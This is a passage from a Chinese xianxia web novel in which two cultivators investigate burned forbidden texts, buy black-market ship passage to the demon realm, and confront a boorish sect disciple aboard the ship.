“想必这位,便是天极宗的李道友?叶某久仰大名,”她熟稔地拉起李长缨衣袖,左看右看,轻叹一声,“可惜我外出义诊,几刻钟前才回来,否则,我定会亲自前往天极宗为你医治。”
紧接着,她瞥了眼奚不言,凑近低声道:“若是你不习惯阿言的疗法,不妨来找我……”
“师姐,”他连忙打断,上前挡在二人中间,似笑非笑,“你不会要抢我病人吧?”
叶黎后退几步,狡黠一笑:“那便等大比之时,再见真章喽。”
辞别她后,他安排好李长缨的住处,便匆匆离去。
听闻是同时来了数十位浑身脓疮溃烂的修士,杏林门鲜少见过这般阵仗,当即召集圣手前去商讨。
她在杏林门的住所是一间花草满屋的小筑,推开窗即可观赏寒池风光。
小筑配有两名凡人侍女,无召时她们便在花廊下做些针线活。
“你听说了吗?鬼医又来找咱圣手麻烦……”一个圆脸侍女刻意压低声音,朝着同伴耳语,但落在身为修士的李长缨耳里,清晰无比。
“他想干什么?上次不是才被掌门打成重伤了么?”
“他一直都想成为第一医修嘛,”她撇撇嘴,“掌门收拾他已经是好几年前的事儿啦。”
“鬼医是何人?”李长缨的声音冷不丁冒出,两人吓得手上一顿,针线筐跌落在地。
圆脸侍女心神稍定,义愤填膺道:“是个白眼狼,亏得叶圣手心善,当年好心收留他,哪晓得这家伙良心都被狗吃了!”
“就是说呀,哪有像他这般挑战医修的,依我看,他就是想要圣手们的命。”另一位侍女满脸愤懑。
原来方才奚不言的未竟之语是指这个,李长缨默默地想,看来叶黎在捡徒弟这事上有前车之鉴。
她顺着从小筑延伸出去的石板路慢慢踱步,忽闻前方传来喧闹。
“我现在便去给掌门传书,就说有大量人儡现身杏林门辖地内……”
不远处,叶黎急匆匆地从堂屋出来,一边脱去沾满腥臭黑血的外袍,一边跟奚不言交代,两人脸上都是一副严肃之色。
人儡?
她敏锐地捕捉到这一关键词,想起从前在书上读过的内容。
人儡乃被强行抹去记忆、消去情感的人,通常受蛊虫控制,沦为杀器。
无生谷的手已经伸到此地来了?!
李长缨瞳孔骤缩,下一瞬,便听见奚不言蹙眉道:“但我已探查过,那些生疮溃烂的修士体内并无蛊虫的痕迹。”
他顿了顿,声音夹杂一丝冷意:“何况,你我也清楚,饶是最厉害的蛊虫,也无法同时控制数十个人儡,除非,无生谷派了至少十余人来此地卧底,但它还没那个胆量,所以……”
“这些人儡是被极为强悍的神识所控制的。”
轻飘飘的一句话,却让人心头一颤。
叶黎猛地顿住脚步,神色晦暗不明:“有修为至少是化神的人,在暗中控制这些人儡?且这个人离我们不远?”
“化神还不够,应当已迈入渡劫之境。”
修为达到渡劫期的人,放眼整个修真界,一只手都数得过来,那几位也是顶尖宗门的掌门长老之流。
李长缨心中盘算了下,她所知的渡劫期修士,唯有师尊玄微道君和极乐宫宫主二人。
这两位没理由会对杏林门明目张胆地下手,他们的一举一动,都干系八大宗门的平衡之态。
虽置身还算安稳的杏林门,她却感觉身边有无数阴谋算计交织,其中牵扯的利益考量不知几何。
她搓了搓手臂,走向奚不言,叶黎已匆匆往住所赶去。
“你觉得,会是谁?”李长缨轻声发问。
他并未答话,折扇一下一下敲着掌心:“那人派如此多的人儡过来,必然是想干扰杏林门的视线,他的目的究竟是什么……”
奚不言微微抬眸,下意识看向杏林门最高的建筑物——药王阁。
飞檐如青鸾展翅,檐角青铜风铃随风晃荡,透过雕花窗棂,隐约可见有烛光闪烁,在黑沉沉的塔楼映衬下,异常明显。
呼吸凝重了
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几分,须臾间,他已瞬移至药王阁大开的门前。
她赶紧施展轻功跟了上去:“是有什么发现吗?”
“药王阁严禁明火,定是有不知此律的外人趁机闯入阁中。”他低声快速解释,抬手给两人施了个隐身符,展开折扇,踏入堆满古籍的阁内。
李长缨抽出佩剑,一边当心脚下散落的卷轴书籍,一边悄声道:“来者如此大费周章,莫非是为了什么秘籍?”
“不知,”奚不言将明显被人翻乱的书籍拾起,拍掉沾上的灰尘,“此人能通过掌门为药王阁设立的结界,毫发无损,恐怕修为在其之上,极有可能是幕后之人。”
二人一层层巡视,除了被扔得到处都是的书籍纸页外,再无一丝他人踪影。
“《杏林佳话》《灵药图鉴》《食气录》《岐黄问对》……”每捡起一本,她便低声念出书名,渐渐品味出不对劲来,“这些书所涉领域无甚重叠,难道找书是假,别有用心才是真?”
他冷笑一声,握紧折扇,指尖攥得泛白:“你说得对,或许,这只是他掩人耳目的手段。”
两人一无所获,只得原路返回。
脚尖才触及一楼地板,李长缨鼻尖轻嗅,眉心蹙成一团:“你有没有闻到一丝……烧焦的味道?”
同她对视一眼,他动了动唇,但没发声,转身大步走向一面紫檀书架,其上数百本心法秘籍依次排列,书脊用棉线扎实,上书苍劲楷体。
他随手抽出几本,只听“吱嘎”一声,书架分为两半,各自往墙体中隐去,展现出背后黑漆漆的地道。
想必这就是传说中的禁阁了。
更加浓郁的烧焦味扑面而来。
她紧随奚不言进入地道,两侧墙壁刻满镇魔符文,黑暗中隐约有金色流光游动。
越往里,气味愈发明显。
禁阁内部并不复杂,整体呈八棱形,缚灵效果极佳的玄铁书架排成八卦样式,血色咒文在那些看似平常的书籍上若隐若现。
绕过层层书架,眼前场景让两人不由得呼吸一滞。
一个身着浅绿色道袍的人背对他们,盘坐于火盆前,身侧摆着几本古籍,苍白的手指在封皮上摩挲,缓缓撕下一页,投入火中。
“倒是比我想象中快。”他漫不经心地开口,缓缓转过头,鼻梁上横亘的疤痕清晰可见。
赫然是今日被叶黎捡回来的那位小弟子。
将手中残页随手一扔,他脸上挂着诡异的笑:“正好,我也烧完了。”
话音未落,李长缨催动佩剑,剑意凛冽,剑光如虹,径直吞没这位不速之客。
这一切发生在瞬息之间,她做好了恶战一场的打算,没想到对方毫无动作,任剑光将他吞噬。
待光芒散去,唯余一张小纸片在半空中盘旋片刻,轻轻落在地上。
竟是用了纸人替身逃之夭夭。
奚不言几步上前,拾起纸片,其上歪歪扭扭画着一个简笔小人,眉心盖有一枚朱砂印。
是熟悉的“宿尘”二字。
气氛瞬间凝滞,李长缨面色煞白,半晌才开口:“冲我来的?”
他不置可否,俯身拣起那本被烧毁大半的残卷,手指拂去灰烬,显露出封皮上的字迹。
《心渊录》。
看清书名的刹那,他眉头一皱,随手翻了几下,掀起眼皮,眸光寒冷至极点:“这便是我提到过的那本禁书……”
“其中关于善恶双魂的记载,都被他毁了。”
5. 黑市
“你是说,我今早收的徒弟是幕后主使,趁人儡作乱潜入禁阁,销毁了不少秘籍?”
叶黎坐在杏林门议事堂内,一脸凝重。
“确是如此,”奚不言看了眼李长缨,“并且他烧毁的,都是和善恶双魂有关的记载。”
“善恶双魂……”
她疲惫地揉了揉眉心,手背显出道道血痕,那是人儡暴起时躲避不及所致的伤口:“是《心渊录》吧,我记得这本书,前任掌门从魔域带回来的抄本。”
“魔域?”李长缨面露不解。
叶黎颔首:“善恶双魂是几百年前由老魔王首次发现的,被他的徒弟编写成秘籍,即《心渊录》。前掌门去寻这本书时,老魔王已经被推翻了,《心渊录》被掌握在后来的魔尊手里,也不知他同魔尊做了什么交易,反正最后成功带回了一份抄本。”
关于魔域的历史,李长缨只知,当下坐镇魔域的是四大魔尊,他们将整个魔域大致分为东、南、西、北四境,各自掌控一方,因此,混乱逾百年的魔域以一种诡异的状态达成和平。
“掌门回信告知,她还在止戈宗出诊,不出三日定能赶回,至于秘籍被毁一事,待她归来再做定夺,”叶黎带着警告的眼神落在奚不言身上,旋即转头对她道,“李道友,今日之事将你牵扯其中,实在抱歉,为了查清此事,只能麻烦你先在杏林门休养几日……”
李长缨摆摆手,表示无妨。
待叶黎走后,奚不言随她一同返回小筑。
“那个‘宿尘’不惜冒着被暴露的风险,也要毁掉《心渊录》,说明此书内容干系重大,很可能是我身上疑云的关键所在。”她回顾今日经历,若有所思。
“不错,”他眉头微蹙,凝视着远方模糊的景象,“可惜此书已毁,若是还想知道些什么,只能去魔域寻找原著。”
两人对视一眼,见她眼神一闪,他不禁轻笑:“会不会太大胆了点?”
她耸耸肩,不以为意:“这有何妨,早日弄清一切才是头等大事。”
“也罢,那便去魔域走一遭。”奚不言一展折扇,眼底含笑,带着一抹不易察觉的温柔。
达成共识,李长缨嘴角微微扬起,又想起些什么,好奇道:“我们该如何去?”
他微微一愣,无奈道:“寻常修士去魔域,只需使用无生谷境内的传送阵即可,不过杏林门与其势不两立,无生谷自然不会允许我们踏足,只得选择第二条路——”
声音一顿,他带着几分心虚:“坐船。”
她心情复杂:“坐船?”
且不说路途危险,这要想抵达魔域,不知要等到何年何月。
八大宗门位于东大陆,与魔域所在的西大陆有无望海相隔。
光听“无望海”这个名字,便知道这是片让人绝望的汪洋,每年横渡时消失的商船不计其数,据仅有的几名幸存者回忆,大多是遇上了上古秘境被吞入其中,抑或是不幸碰到海寇被劫掠杀尽,总之是条险之又险的海路。
李长缨心生一计:“不如我们伪装一下,混入无生谷?”
闻言,奚不言目光幽幽地看向她:“传送阵开启后,任何伪装都会被除去,我敢笃定,无生谷会毫不留情将你我二人拿下。”
她还想再挣扎一下:“可我并非杏林门中人,不如我用传送阵先去,再在那边接应你?”
“李姑娘,天极宗为你寻求杏林门医治一事,早已传遍各大宗门,”他用扇柄轻轻敲了下她肩膀,唇角一勾,“无生谷知道你与杏林门交情不浅。”
“……好罢,”她深呼吸了下,目光坚定,“坐船便坐船。”
子时的梆子刚刚敲过,位于闹市中央的酒楼依旧人声鼎沸。
醉仙楼的金漆招牌在夜幕中晃得人睁不开眼,一男一女推开珠帘,就被扑面而来的声浪装了个趔趄。
跑堂的像泥鳅似的在桌椅间穿梭,有个膀大腰圆的富商狠狠一拍桌子,摇头晃脑:“再来只烧鹅!要在蓬莱阁吃仙丹长大的……”话音未落,邻桌的几位修士哄笑起来,震得八仙桌不住颤动。
酒楼中央,四位舞姬长袖一甩,颈间金铃随着鼓点叮咚作响,喝得满脸通红的书生痴痴望着美人舞姿,连手中酒盏歪了都不知道。
二楼栏杆边,穿桃红衫子的姑娘咯咯笑着,往半空抛洒凤仙花,花雨纷纷扬扬,落在李长缨发间。奚不言拾起一片,指尖微微一捻,汁液在指腹留下一抹红。
垂眸凝视须臾,他握着折扇,清了清嗓,小厮立刻上前,笑脸相迎:“二位爷楼上请——”
侧眸瞥了他一眼,奚不言声音清润:“先给我来壶茶吧。”
他眼珠一转:“欸好,不知爷想要哪种茶?”
“来壶雪水烹茶。”
小厮站直身子:“可惜今早运水的毛驴跑崴了脚。”
“那便用去年腊梅上的雪。”
“原来是要这种茶,好说好说,”小厮眯起眼睛,堆满笑意,“二位这边请!”
他领着二人穿过层层珠帘翠幕,钻进一条狭长的甬道,墙上挂着的桐油灯照得人泛着一圈模糊的光。
李长缨深吸一口气,抬步入内。
她与奚不言如此大费周章,又是易容、又是改换口音,连夜来到极乐宫辖地内,自然不是光喝茶那么简单。
醉仙楼明面上是最大的酒楼,背后却连接着东大陆规模最大的黑市,无数修士在此地买卖货物、交换情报,甚至还有发布和接取悬赏。
此地不问来路、不认人面,钱货两讫,概不退换。
入口处是一扇沉重的朱红色大门,两位侍童分立左右,手中捧着银质托盘,盘内放置着一模一样的木头面具。
将面具扣在脸上,大门应声而开,露出背后如蛟龙蜿蜒的长街,沿街商铺都悬着造型各异的灯笼,上面皆绘有和这家商品有关的图案。
宛若一个小秘境,不知是哪位大能所创。
才踏上浮着薄雾的青石板,李长缨便察觉到有神识在两人身上掠过,带着审视的意味,大抵是极乐宫的哪位长老坐镇此处,防止有人扰乱规矩。
想起出发前,她特意问过奚不言,为何不在杏林门辖地内的黑市分舵购买船票,他表示每日都有杏林门长老去巡视,二人若是前往,必然会暴露身份。
“客人看看这个,”一身杏黄的小姑娘戴着木头面具迎面而来,臂弯里竹篮堆满莹润的珠子,“新鲜的避水珠,三块灵石一颗。”
李长缨摇头谢过,顺着人潮往前走,默不作声地打量黑市风貌。
左边摊主正甩着手里厚厚一沓符纸,大声吆喝着;右边裹着斗篷的修士在展示新培育出的灵植,巴掌大的花苞上裂开一道满是密齿的嘴,咯吱咯吱磨着牙。
蓦
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地,奚不言在一个摊位前驻足,眼眸微眯,她跟过去一瞧,只见那个摊位悬着的浅青色灯笼上,贴着一张长长的纸条,龙飞凤舞地写道——
“杏林门出品,必属精品”。
再低头一看,上百个大小不一的瓶瓶罐罐挤在一处,无一不贴有杏林门的标签,乍一看精致无比,细看才能发现,那标签有些粗制滥造了。
而海报上的“杏林门”三字,换个角度一看,竟变成了“杳林门”,多出的一横用特殊的银色墨水写就,着实不起眼。
透过面具,奚不言整个人散发出阴沉的气息,寒声问道:“这些药,当真是从杏林门来的?”
摊主瞧他一副不好对付的模样,试探道:“如假包换,道友要不要买一瓶,尝尝味?”
他冷哼一声,打开一瓶,将药丹在指尖碾碎,刺鼻的草药味直冲鼻尖,嫌弃道:“杂质如此多,你也好意思摆出来卖?”
“道友也太不讲理了,这些药都是我辛辛苦苦从杏林门背回来的,”摊主见围观者越来越多,梗着脖子,“就算有问题,也是杏林门的责任!”
此话一出,奚不言下意识按住扇柄,手背青筋暴起。
僵持片刻,他嗤笑一声,拂袖离去。
跟随他走远,李长缨皱眉道:“那些假药竟敢堂而皇之地打着杏林门的旗号,背后定然有势力支持。”
“小打小闹倒也罢了,如今在极乐宫境内都颇具规模,不敢想象泛滥成什么样,”他轻叹一声,“更何况,若是真有人吃出问题,这脏水只会泼在杏林门头上。”
她低声道:“恐怕有极乐宫的手笔,否则,它不会放任假药在其境内横行。”
这倒是实话,极乐宫这些年为了一家独大,对其他宗门明里暗里没少打压,而对付一个医修宗门,败坏它的名声最是有效。
奚不言颔首:“我会告知掌门,调查一下这些药瓶背后势力。”
逛了许久,两人终于抵达此行的目的地。
一张不起眼的油布支在角落,惨白的灯笼上画着一艘极其敷衍的小船,灯笼下坐着个老者,正在闭目养神。
听见来人的脚步,他半睁开眼,懒洋洋道:“道友,想坐船吗?”
李长缨点点头,他接着问道:“要哪个码头出发的?”
“杏林门。”
“好嘞,我看看,”他举起一张泛黄的纸页,眯起眼睛寻找,“三日后丑时有一趟,道友想要哪种品级的船?丙字号十块灵石,乙字号五十块灵石,甲字号一百块灵石。”
奚不言道:“自然是要甲字号。”
老者从怀里掏出两个海螺,抛给他们:“一共二百块灵石。”
他解下腰间的芥子囊,看也不看,递给对方。
李长缨看得咋舌,医修出手都这般阔绰么?若是她,必然会叫对方把芥子囊还回来,十块灵石一个呢。
出了黑市,她把玩着拳头大的海螺,贴近耳朵,仿佛能听见阵阵涛声,随口问道:“这三日,我们还需要做些什么准备?”
凝思几瞬,奚不言手指不轻不重地敲着扇柄:“不久前,你的大师兄给我传音,问你何时回天极宗。”
李长缨心中警铃大作,连忙道:“我不会回去的,至少短期内不会。”
他略略一点头:“我也是这般答复他的,不过他说,要送给你一件旧物……”
6. 出发
连用几张传送符回到杏林门时,天刚破晓,金乌缓缓升起。
李长缨悄悄摸回小筑,一眼便看见院内石桌上,横放着一柄流光溢彩的长剑。她快步走过去,拿起一看,只见洁白通透的银质长剑,散发着莹润的光泽,剑鞘上镶嵌数颗细碎晶石,晃眼望去如有星光点点。
剑柄处刻有“星澜”二字。
是李烟萝的本命剑。
当日她渡劫失败,此剑亦是满身裂纹,被沈负暄送去修理,兜兜转转,终于回到自己手里。
随手挽了个剑花,剑身嗡鸣,似乎在为重回主人手中而雀跃。
可惜它不知道,自家主人的芯子已经被换了。
她轻叹一声,收剑入鞘,几步走进屋舍,在榻上盘腿坐好。
闭目凝神,不出一刻钟,李长缨心神渐渐安宁,周身似乎形成了一个小小漩涡,四周灵气都被吸入体内,将疲惫冲洗一空,神识探入丹田,其上尚有裂纹的金丹得灵气滋养,稳固不少。
一炷香后,她慢慢睁眼,只觉耳目一新,全身舒泰。
伸了个懒腰,她走出屋外,却见头顶上方的云层散开,金光泄落,均匀地铺洒在她身上。
竟是连破两境,已至金丹初期。
李长缨微微一愣,心道自己不过是例行打坐入定,居然得以破境,莫非是方才与本命剑建立了联系。
从筑基迈入金丹,天空明净,并无雷劫将至之象,或许是她从前已渡劫过的缘故。
“恭喜李姑娘。”
清冽男声响起,她回首望去,奚不言立于院门外,笑吟吟地看着她,手中折扇轻摇。
她敛了敛神色:“奚圣手有何要事?”
抬脚跨入院内,他将手中提着的药箱放下,从中取出几枚丹丸,用丝帕托住递给她:“两日后便要去魔域,我担心你因金丹受损,不便行动,特制药丸助你固本培元。”
“多谢,”她不多客气,接过丹丸便吞入口中,霎时,丝丝缕缕的灵息从中扩散开来,形成一股股暖流,涌入丹田,包裹住金丹,让本就浅淡了许多的裂纹更是微不可察。
服用完药丸,李长缨顿觉神清气爽,奚不言为她把脉片刻,颔首道:“不错,假以时日,有望痊愈,只是……”
他话锋一转:“若想突破从前的巅峰状态,必须寻回你缺失的魂魄。”
提及此,她不由得蹙眉,心道魔域之行非去不可。
两日后,丑时。
海风吹拂,带来丝缕凉意,李长缨站在杏林门辖地内唯一的港口,裹紧身上斗篷,拇指摩挲着腰侧星澜剑。
此番出行,她和奚不言皆刻意改换了模样,此刻两人具是一副普通人样貌,扔进人堆就找不出来的那种。
他们现在的身份,是去魔域追寻秘宝的陶公子,和他的临时护卫李小月。
远处,一艘足有五层楼高的仙舟劈开浪花,缓缓驶来,船首挂着巨大的青龙首,瞳孔里跳动着赤色火焰。
待它再靠近一些,她看清船身雕刻着无数飞禽走兽,鸾鸟振翅欲飞,玄龟吞云吐雾,九尾狐周身泛着七彩虹光。
好……好浪费灵力,她怀疑道:“这般大张旗鼓去魔域,真的没事么?”
“无碍,这条航道不算稀奇,魔修也早已习惯西大陆出现修士身影,”奚不言气定神闲,懒懒地扫视了一眼等候登船的众人,声音一顿,“那几位穿红衣的好生眼熟,似乎是蓬莱阁弟子。”
顺着他的目光望去,几位少男少女站在三丈开外,热切地讨论着什么。他们统一身着赤红箭袖武袍,领口处绣有金线,最让人移不开眼的,是他们腰间都系着一个圆润的紫葫芦。
“是丹修。”李长缨低声道。
蓬莱阁作为八大宗门之一,放着传送阵不用,让弟子千里迢迢来坐船?
她心下生疑,决定一探究竟。
拢了拢斗篷,她朝那几人走去,顶着他们戒备的目光,略一勾唇:“打扰了,请问诸位都是蓬莱阁弟子吗?”
领头的少女梳着双螺髻,上下打量了她一圈,点点头:“正是,道友何事?”
她莞尔道:“在下仰慕蓬莱阁已久,今日见着诸位,心中一喜,不免想来结交。”
“原来如此,鄙人蓬莱阁庄青青,不知道友姓甚名谁?师承何方?”少女始终保持不近的距离。
李长缨眼眸微动:“在下李小月,一介散修罢了,目前是陶公子的贴身护卫。”
抬眸扫过众人,她状似不经意道:“从前难得遇上贵宗修士,今日竟能在港口与各位相逢,实乃一大幸事。”
庄青青见她并无恶意,略微放下防备:“不瞒你说,近日无生谷的传送阵被人破坏,无法运转,我们又急着前往魔域采购炼丹原料,才出此下策……”
“喏,你瞧,”她抬了抬下巴,“那边还有九华宗、极乐宫的人,大家都用不了传送阵,只得绕路而行。”
李长缨望去,的确看见有几位修士的斗篷上绣着极乐宫的标识——金纹火凤徽征。
“青青,该登船了。”庄青青身边的瘦高少年轻咳一声,言简意赅。
目送蓬莱阁弟子远去,她转身快步赶回奚不言身边,压低声音:“无生谷的传送阵在这几日坏了,我怀疑是有人暗中操纵……”
自从在凌清寒身上捡到那张蹊跷的信笺,就疑窦丛生。
甫一到杏林门,便遇上神秘人纵火烧书,烧的还是关于善恶双魂的记载,而该记载只在魔域存有。仿佛料定他们会去那里寻找答案似的,于是,无生谷的传送阵便被破坏了。
一环扣一环,她不相信天底下会有这样的巧合。
而幕后之人,正在想方设法地阻挠他们知晓关于善恶双魂的线索。
会是那位“宿尘”吗?
玄玉仙舟已经停靠在港口边,风帆收起,桅杆直冲云霄,一面巨大的青色旗帜被吹得猎猎作响,“青龙号”三个字在风中摇曳。
艄公是一位白胡子老头,身着黛蓝鹤氅,上半张脸被一面做工复杂的金质面具掩盖,正站在甲板上冲登船的人们挥手示意,几位魁梧的舟师立于舷梯口,刻意露出腰间佩戴的长剑,寒光闪闪,表明修士身份。
船上不乏去魔域寻找机遇的凡人,见有修士坐镇,能安心不少。
奚不言看了眼船长:“他叫梁渊,是一位器修。”
李长缨好奇:“器修竟然会选择当艄公?”
“不稀奇,”他淡淡道,“这艘船便是他造的。”
拜别身后郁郁葱葱的东大陆,她望向前方,尚且蔚蓝的海水起伏着,一望无际。
旅程真正开始了……她默默感叹了一句。
整艘船有上百个房间,每个房间门上用金粉画着不同的图案,和海螺船票上的图案相对应。
她低头看了看自己手上的海螺,上面绘有一个蝴蝶,和奚不言的一样。
一间房么?
在船上转悠良久,李长缨终于找到他们的房间。趁此过程,她大致明晰了乘客身份,修士占七成,凡人占
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三成。
“吱呀”一声,奚不言推开木门,走了进去。
眼前是一大片翠玉竹林,灵气四溢,林间备有石桌棋盘。竹海身处,有亭翼然,亭下置有两张软榻,可供人入定参悟。
若不是清楚方才跨进的是船舱门,她会毫不怀疑自己身处现实的竹林之中。
显然,这是仙舟为每一位乘客提供的舱房。
也太……豪奢了吧。
李长缨目瞪口呆,耳边是清脆的鸟鸣,鼻尖萦绕着竹叶的清香,虽置身船上,却仿若位于山野间,的确是极佳的修行之所。
向前走几步,脚底踩着松软的泥土,她仍觉得不真实,回身问道:“甲字号的待遇如此豪华,那乙字号、丙字号呢?是房间内的秘境有区别么?”
奚不言摇摇头,折扇向前一点,竹林如水波般荡漾了一瞬,露出真实的舷窗,朝外看去,是宽阔的洋面。
他指向远处不起眼的几个小黑点:“那便是丙字号。”
她眯着眼看了许久,才看清那些小黑点是一艘艘独木舟。
若他们真买了丙字号,怕是……有去无回。
“乙字号稍好些许,是小型仙舟,但遇上巨浪也危险无比。”他解释道。
看来乙字号和丙字号的船票,明摆着想把人骗一顿,而绝大部分人在出发前看清自己的船舶是这样,都会选择掉头就走。
有心疼钱的,想回黑市把船票钱讨回来,也大多无功而返。
李长缨转头瞥了他一眼:“想不到你对这些如此了解,从前走过这趟?”
“未曾,”他垂眸,睫毛轻轻颤动,“出发前,我做了许久的功课,你没有么?”
她把头转回去,假装没听到他的话语。
虽说舱房里的小秘境对修士修行有助益,但她也没考虑过真的在此入定,若是遇上突发情况,来不及反应。
将星澜剑翻来覆去擦了几遍,她抬头问道:“此番前往魔域寻找《心渊录》,你有什么头绪吗?”
奚不言放下手中的医书,润泽的眼眸微微一转:“前掌门是从东境魔尊的手中获得的抄本,若是运气好,原著应当还在他手里。并且梁渊身为器修,大概会选择停靠在器修最多的东境港口。”
李长缨了然,横渡一趟无望海,对“青龙号”的损耗巨大,停在东境,也方便艄公寻找器修一道修补仙舟。
在房间内待了半晌,她决定去甲板上走一走,看看往常并不多见的海景。
甲板上人不多,零星几个也大多是凡人。
或许是迈入金丹期的缘故,她现在扫一眼便能知道对方的修为,除非其修为不比她低,不过这艘船上,绝大部分修士都不过筑基。
蔚蓝的波涛拍打着岸边礁石,卷起层层白色浪花,海风带着咸湿的气息,轻轻拂过脸颊,她慢慢踱步,任由无尽的思绪发散。
忽然,一旁传来几人浑笑的声音。
“要我说,就凌清寒那个废物,渡劫失败也不稀奇……”
乍一听到这个熟悉的名字,她倏地警觉,侧目望去,是几位极乐宫弟子,发话的那人吊儿郎当地靠在船舷上,满面红光,口中滔滔不绝。
“我记得他有个未婚妻,叫李……什么来着,也是个劫都渡不过去的废人,两个废物凑一对,嘿,还挺般配。”
竟将她和凌清寒相提并论,李长缨只觉一阵恶心。
骂凌清寒,她无所谓。
敢骂她,寒芒在眼底一闪而过,她缓缓握住星澜剑。
7. 快意
“可惜了花在凌清寒身上的天材地宝,这要是换个人,怕是元婴都有了。”那人还在不停说着,唾沫横飞。
“唉,我都为少爷您鸣不平,若是宫主当年选择的您,哪还有凌清寒什么事……”身旁的人附和道,眼中却暗含讽刺。
可惜他浑然不觉,自顾自讲着:“饶是宫主也有看走眼的时候嘛,不提这个了,半月后便是重选少宫主之日,本少爷看凌清霜那小贱人最近风头正盛,不过弱质女流,也敢用鼻孔看人,你们几个快给我支点招,最好把她弄掉……”
有个尖嘴猴腮的人挤了挤眉,满是谄媚:“依我看,不如从外面找个汉子,再把她绑来,将他俩关在一间屋子里,坏了她的声誉,宫主指定看不上她了。”
另一人嗤了声:“说得轻巧,到时你去绑?真以为金丹期修士好对付么?”
听闻对话,李长缨只想作呕。
这般下作的法子也说得出口,就因为竞争对象是女子,便想着毁人清誉?
不知情者,还以为是哪家高门大院里跑出来的疯狗,打算乱咬人呢。
寻仙问道的路上,生理差异早已微不足道,竟还惦记着那点男女之别……
还是趁早投胎,回炉重造罢。
她气得想笑,正要拔剑教训几人。
一道脆生生的女声响起。
“呸,好个不要脸的匹夫,妄想陷害同门,你这张丑脸是拿千年王八皮炼的吧?”庄青青站在角落,叉着腰怒目而视,她面前放着个吐着青烟的丹炉。
显然,她正在甲板上炼丹,见这几人出言不逊,随手教训一下。
“关你什么事?!”被个小姑娘怼,那人脸上青一阵白一阵,咬牙切齿道,“你以为你很好看么?没人要的烂货!”
她眉一挑,忍不住拔高了声量:“居然敢评价起姑奶奶我了,你这脸皮是上古法宝吧,雷劈不动剑戳不穿!”
他面色骤沉,恶狠狠地盯着少女,视线扫过她腰间的紫葫芦和面前的丹炉,眼珠一转,心道原来只是个丹修,孤身一人跑出来炼丹,虽然嘴巴毒了点,构不成什么威胁。
谁人不知,丹修是个没什么武力值的,唯一害人的手段,也不过是往人嘴里塞几颗毒丹,有那功夫,其他修士早把人教训几轮了。
目光流连在她白嫩脸庞、樱色嘴唇上,他顽劣一笑:“本少爷今日心情好,不跟你计较,我看你模样也不赖,不如今晚……”
剩余字句揉碎在暧昧的语气中。
庄青青明显一愣,跟不上此人的脑回路。
怎么吵着吵着,他就拐到这话题上来了?
脑子里除了那档子事,怕不是空空如也。
她回过神来,目露鄙夷:“大半夜的做上梦来了,就你这货色,拿来让我炼丹都是污染丹炉。”
那人起身朝她逼近,仗着身高高出些许,俯视着她,脸上挂着不怀好意的笑容。
“你、你想做什么?!”她后退半步,咬了咬唇,“我可是蓬莱阁弟子,你仗着有极乐宫撑腰,便敢为所欲为吗?”
他戏谑道:“蓬莱阁又如何?你看清楚了,现在是在船上,下面是无望海,就算我把你丢下去喂蛟龙,你能拿我怎么样?”
“是不能怎么样。”
李长缨一手执剑,从阴影中走出来,嗓音平和,如清泉细流。
她勾唇一笑,刻意放缓声音:“所以我打算把你打得哭爹喊娘,你也不能拿我怎么样。”
那人瞧她手中长剑陌生,长得也平平无奇,只道是个不长眼的散修,心下放松:“又是从哪里钻来的小老鼠,敢得罪少爷我。”
极乐宫素有把散修唤作“老鼠”的风气,讽刺人家捡食大宗门不要的垃圾,学些不入流的功法,只敢在灵气稀薄的地方拼命汲取修炼,和阴沟里的老鼠无甚两样。
偶有混得不错的散修,那也是百里挑一,他也大致知晓对方面容,见这女子面生,心中愈发笃定她只是个纸老虎。
李长缨懒得同他多费口舌,星澜出鞘,眨眼间便直逼他面门。
他慌乱召出法器玉笛,还未放到唇边,剑光已至,离他双眼不过咫尺。
正欲看清她的剑法,他却只听“咔嚓”一声,手中玉笛寸断,劈里啪啦掉在甲板上。
毁人法器,与打脸无异。
下一道剑气挟杀气袭来,堪堪擦着他头顶过去,将他束起的发髻削落,霎时,头顶锃亮,在夜幕中明晃晃地反着光。
“你、你竟敢?!”
那人气得差点吐血,目眦欲裂,恨不得将她掐死。可一想到她快到让人看不清的身手,又遍体生寒,他后退几步,慌忙捂住空空的头顶,尖利的嗓音几乎破了音:“你是何人?敢欺负本少爷,极乐宫不会放过你!”
极乐宫?
不好意思,贵宗的前少宫主便是被我设计成废人的,你又算什么东西,也敢在这里狗吠?
墨玉般的眸子一眨不眨地盯着他,她嘴角带着浅淡的笑意:“在下行不更名、坐不改姓,李小月是也。”
听闻她的名字,他拧眉,脑中飞速思索,却实在不记得有“李小月”这号人物。
莫非是近日新秀?
压下心中疑问,决心已定,等回到极乐宫,定要叫人好好查查这个来路不明的女子。
庄青青围观全程,见那人的小跟班们被吓得连连退后,没忍住,“噗嗤”一声笑了出来,旋即朝李长缨正色道:“多谢道友出手相助。”
说罢,她从芥子囊中取出枚黑糊糊的丹丸,趁他愣神,一掰下巴喂了进去。
丹药入口即化,他回神时,口中只残留着一股又苦又涩的味道,不禁质问道:“这是什么东西?!”
庄青青抿唇一笑:“你不是觉得身为男子,很了不得嘛,我不过是给你喂了点让人阴阳转化的丹药,激动什么?”
话音未落,她状似无意般往下扫了眼,语气幽幽:“顺便告诉你,这是我新发明的丹药,副作用未知,辛苦你为我试药啦。”
那人听完,脸色一变,连滚带爬地跑到甲板边上,张嘴欲吐,干呕半天,什么也没吐出来。
料理完这帮杂碎,长剑入鞘,李长缨转头看向她,心下好奇:“庄道友为何选择在甲板上炼丹?”
据她观察,每个舱房都是一方小秘境,不存在人多挤不下的情况,而甲板上人来人往,变数太多,并非修炼的好去处。
闻言,庄青青摸了摸鼻尖,耳根逐渐变红:“不怕道友你笑话,我正在尝试开发新丹丸,可惜效果不佳,炼丹时烟雾毒性过强,熏倒了几位师兄,因此才特地搬到甲板上来,便于通风。”
她说得轻巧,李长缨却心中一惊。
原因无他,丹修以炼丹入道,绝大多数都是按照丹方,循规蹈矩地炼制些助长修为的丹丸。只因越高级的丹,越耗费灵力,失败的可能性也越大,为了求稳,丹修们大多循着前辈轨迹修炼,哪还会想创造些别的?
因此能自创丹方之辈,寥寥无几。
正感慨间,被喂了不明丹药的那人突然身子猛地一抽搐,喉咙里发出赫赫的响声,两侧腮帮子迅速膨胀,裂开几道口子,仿佛鱼鳃一般。
紧接着,他那光秃秃的头顶上,无数深蓝色发丝争先恐后钻了出来,柔顺地贴在他脸上。
庄青青眉头一皱,若有所思:“怎么变异了,难道是我加了一颗鲛珠的缘故?”
她快步走过去,抓住他头发提起来一看,的确是
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有向鲛人转化的趋势。
